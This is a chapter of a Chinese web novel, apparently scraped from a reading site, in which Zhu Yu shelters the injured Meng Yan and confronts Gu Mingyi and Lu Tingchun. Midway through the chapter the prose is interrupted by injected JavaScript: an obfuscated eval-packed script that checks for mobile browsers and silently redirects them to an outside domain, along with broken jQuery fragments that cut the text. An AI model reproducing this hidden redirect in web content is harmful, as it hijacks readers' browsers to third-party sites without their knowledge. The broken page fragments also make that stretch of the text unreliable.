进了城,一路快马加鞭,将蒙烟带回陆府,管家见她二人形容皆狼狈,又是一场手忙脚乱,请了大夫来瞧了瞧,所幸蒙烟并无大碍,反倒是祝余身上的伤重些。
送走管家一干人等,祝余守在蒙烟榻边,刚刚处理过的伤口还隐隐有些热意,屋里燃着烛火,她伏趴在床沿,抓着蒙烟的手,有些力不可支地昏睡过去。
良久,室内的灯火暗下来,忽闻一声轻响,房门被人轻轻推开,陈氏身边的管事妈妈迈进来,朝里边望了望,瞧见两人都正睡着,这才侧过身,让身后的大娘子进来。
陈氏今日歇息得早,祝余回府时并未惊扰她,后来老管家送大夫出府,被管事妈妈瞧见,这才得知此事。管事妈妈扶着陈氏近前去,靠近床榻边时,陈氏抬手示意管事妈妈别动,自己轻手轻脚地靠过去,旋即弯下腰,看了看趴着的祝余,又轻轻抬手贴了贴祝余的额头,嗅到她周身弥漫到药味,陈氏皱了皱眉,招手唤管事妈妈过来。
管事妈妈将祝余轻轻抱起,陈氏走在前边,打开隔壁客房的门,祝余被安置在这间的床榻上,陈氏拧了帕子,细细擦了擦她脸上的血迹和泥水,端详着祝余的面容,收了帕子,又忍不住伸手,抚了抚祝余额边的碎发,管事妈妈立在一旁,见状心下不住叹息。
早知今日,何必当初。
自令仪到陆家来,那样不是大娘子经手,幼时有个头疼脑热,哭爹喊娘时,大娘子还抱在怀里哄过,一年一年,姑娘长大了,大娘子嘴上不说,心里却比谁都高兴。
陈氏沉默坐在床边,注视着祝余的下巴尖,许是许久未见,这几日她总是回想起,多年前她跪在自己面前,脊背挺直的模样。
这个孩子刚刚来到她身边时,又黑又瘦,跟只毛猴似的,不哭也不闹,她从来没照看过这样的孩子,得知她的身世,更是束手束脚,有很长一阵子,在她面前,她都不与自己的孩子过分亲近,怕惹她伤怀。
都已经做过两个孩子的母亲,在令仪的事上,她却总是瞻前顾后,身边人打趣她,说她像是第一次做母亲一样。
陈氏叹了口气,起身离开,嘱咐管事妈妈留在此处看顾着。
翌日祝余醒来,管事妈妈带着人忙进忙出,这阵仗让她一时没明白过来,等坐在饭桌旁,对着一大桌子自己爱吃的菜色时,才反应过来几分,也并未说什么,只一味地埋头扒饭。
用着饭,管家来报说有人来府上接人。
祝余还没来得及说什么,蒙烟便不自在起来,急忙起身要跟着管家去,祝余放下筷子,将她喊回来,强忍着不高兴说:“用过饭再去也不迟。”
蒙烟被她这话说的一顿,回转过身,祝余面色自若的夹着菜,蒙烟疑心是自己方才听错了,站在原地迟疑了一会儿,便又听得祝余开口:“罢了,你想去便去吧。”
说完又狠狠夹了一筷子芹菜,一旁的管事妈妈看得眼皮直跳,乖乖,那芹菜只是放着作配菜的,有些人打小就不爱吃,平日里是一筷子都不会碰的。
蒙烟险些被她这小孩子似的做派逗笑,虽然不知为何她总是一副跟自己很熟悉的样子,但至少她在她身上察觉不到恶意,而且若不是她,自己恐怕早已命丧黄泉。
她轻轻坐回桌前,见祝余夹了一碗的芹菜却并不吃,又低了低头,憋住笑意,继续用饭。遗憾的是,这顿饭终究没能顺顺当当地用完,在前厅等不到人,顾明意直奔后院而来,管家拦也拦不住。
隔着院门,顾明意便操着大嗓门喊上了。
蒙烟臊得面色通红,又气又急,便要起身去见他,却听得祝余“啪”的一声放下筷子,就往院子里去。
尚未反应过来发生了什么,但冥冥之中有什么驱使着,蒙烟立马起身跟上。
院门在自己眼前打开,顾明意还以为是蒙烟,结果却见着了个陌生姑娘。
他下意识别开目光,转过身,在心里暗骂一声:不是说着陆府并未有姑娘在家中吗。
“哪儿来的登徒子,如此无礼!”
一声怒骂入耳,顾明意当即就要赔礼道歉,却听见那女子身后传来一声:“顾将军。”
他僵住后背,缓缓回过身去,蒙烟在祝余的背后,露出个脑袋来,见他回过头,她上前行了个礼,又介绍说:“这是令仪姑娘,昨日多亏了她,收容我在此养伤。”
顾明意这才恍然,抬手朝祝余一作揖:“见过令仪姑娘,多谢出手相救。”
态度诚恳,一副知书达礼的好模样。
只得了祝余一声冷哼,他疑惑地抬起头,祝余淡淡道:“我救的是蒙烟姐姐,与你何干。”
听见她对自己的称呼,蒙烟回过头,有一瞬间恍惚,对上祝余的目光,她愣了愣,祝余抬手将她揽至身后,微微抬起下巴:“你来找她做甚?”
顾明意被她无礼的态度一激,当下便冷笑:“自然是接她回家休养。”
说完冲着蒙烟伸手,“蒙烟娘子,走吧。”
蒙烟抬眼看他,许是接到自己着人传的消息便来了,他衣裳也穿的匆匆忙忙,额角还有些汗意。她轻轻点头,抬手拍了拍祝余,示意她不要担心,而后便径直走过去,并未搭理顾明意伸出的手。
顾明意也不在意,收回手,又看了祝余一眼,哼笑道:“你是陆家哪位姑娘,如此骄横,永州城内竟从未听闻。”
祝余本就看他不顺眼,上一世若不是这厮迟迟不与蒙烟姐姐透露自己的身世,蒙烟姐姐怎会为情伤怀,郁郁寡欢。
正要出言呛他,便又听见有人过来,“顾将军好教养。”
竟是陆庭春,他下山了。
四轮车轻磕在石子上,陆庭春一袭蓝衣锦袍,出现在顾明意身后。方才离去的蒙烟立在他身后,手搭在四轮车的后背——是她推着陆庭春过来的。
见四轮车停稳当了,蒙烟松开手,往前走了两步,陆庭春微微仰头,向她道谢:“多谢蒙烟姑娘。”
蒙烟微微福身:“郎君客气。”
祝余抿唇,看着陆庭春冷声道:“你来做什么?”
察觉到她的不快,蒙烟抬头看了祝余一眼,见她转过身,低声朝身后的管事妈妈说:“劳烦与大娘子通传一声,就说郎君回来了。”
谁料管事妈妈迟疑片刻,答道:“大娘子知晓的,今日一早,郎君已先同大娘子请安。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467829|169840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>祝余一愣,又回过头去看陆庭春,两人对上视线,他别开眼,不敢去看祝余的目光,祝余见状,又想起昨夜大娘子悉心的照料和今早那一桌可口的饭菜,心下便觉着有些荒谬,还隐隐有些反胃作呕。
这个家里,除了英姐姐,从来没有人听过她的肺腑之语,觉着她配不上时,便觉得是她僭越高攀,如今妥协了,便又如施舍一般,要自己接住这泼天富贵,上好的姻缘。
陆庭春似是觉着有些难堪,便开口解释:“听闻你受了伤,我便想着回来看看。”
他就是这样的人,从来不记得祝余说过的话,哪怕对方将他视作洪水猛兽,避之不及,他也始终自恃身份,不愿意承认自己不被祝余喜欢的事实。
从前或许还有几分克制,自打受了腿伤之后,整个人便透着股阴沉沉的感觉,从来不在意旁人的感受,以此来维持那岌岌可危的自尊。
“陆郎君若是无事,我这有桩生意倒是合适,不妨移步详谈?”
蒙烟打破了这漫长的沉默,替祝余解了围。
顾明意还没反应过来发生了什么,便听见蒙烟要跟人谈生意,“不行,你还受着伤,先回去休养休养。”
蒙烟摇摇头,俯首去看陆庭春,后者端坐在四轮车上,死死盯住祝余的脸,无端的让蒙烟皱起眉来,“陆郎君?”
陆庭春回过神,应了一声,见祝余面色越来越难看,想起陆英出嫁前她的那番话,怕她当众闹起来,便说:“如此也好,那便又要劳烦蒙烟姑娘了。”
蒙烟颔首,正要去推四轮车,顾明意一个闪身上前,接过四轮车,“怎么好劳动姑娘家呢,我来推你,”言罢顿了顿,故意似的,加重语气:“顾公子。”
顾明意推着陆庭春在前,蒙烟跟在后面,走出去一段路,回过头去看祝余,只看到紧闭的院门。
心细如发,察觉到这两人之间似是有些不快,蒙烟垂着头在心里琢磨着,又想起昨夜雨中,祝余看向自己的眼神。
真奇怪,一个素昧平生之人,为何自己屡次忍不住维护她。
回忆起昨夜她为了救自己同人拼命的模样,蒙烟倏地停住脚步。
她在心里默念着她的名字,令仪,脑海中翻来覆去,确信自己并不认识这样一个人。
萍水相逢而已,为什么能为了她人搏命至此。
蒙烟想不通,但今日这场合,实在不适合开口再去询问,她便想着过两日再上门来寻祝余。
谁知,等她再上门时,便听府中人说,令仪姑娘已经好几日没回家了。她觉得奇怪,回到食肆,坐了一会儿越想越不对劲,正要出城去寻顾明意帮忙,便听得门外有人来。
来人自称是祝余旧识,玄色锦袍加身,风尘仆仆,像是赶了很久的路,上门来是为问她祝余的下落。
蒙烟并未直接回答,担心其中有诈,拐着弯问了问这人与祝余的关系,寻她是何目的。
那人立在原地,似是在思索着什么,末了像是没找到合适的字句用来描述自己与祝余的关系,干脆掏出腰间令牌。
说他是京中安平侯之子,名唤萧持钧,此前一直跟在祝余身边的是他的护卫。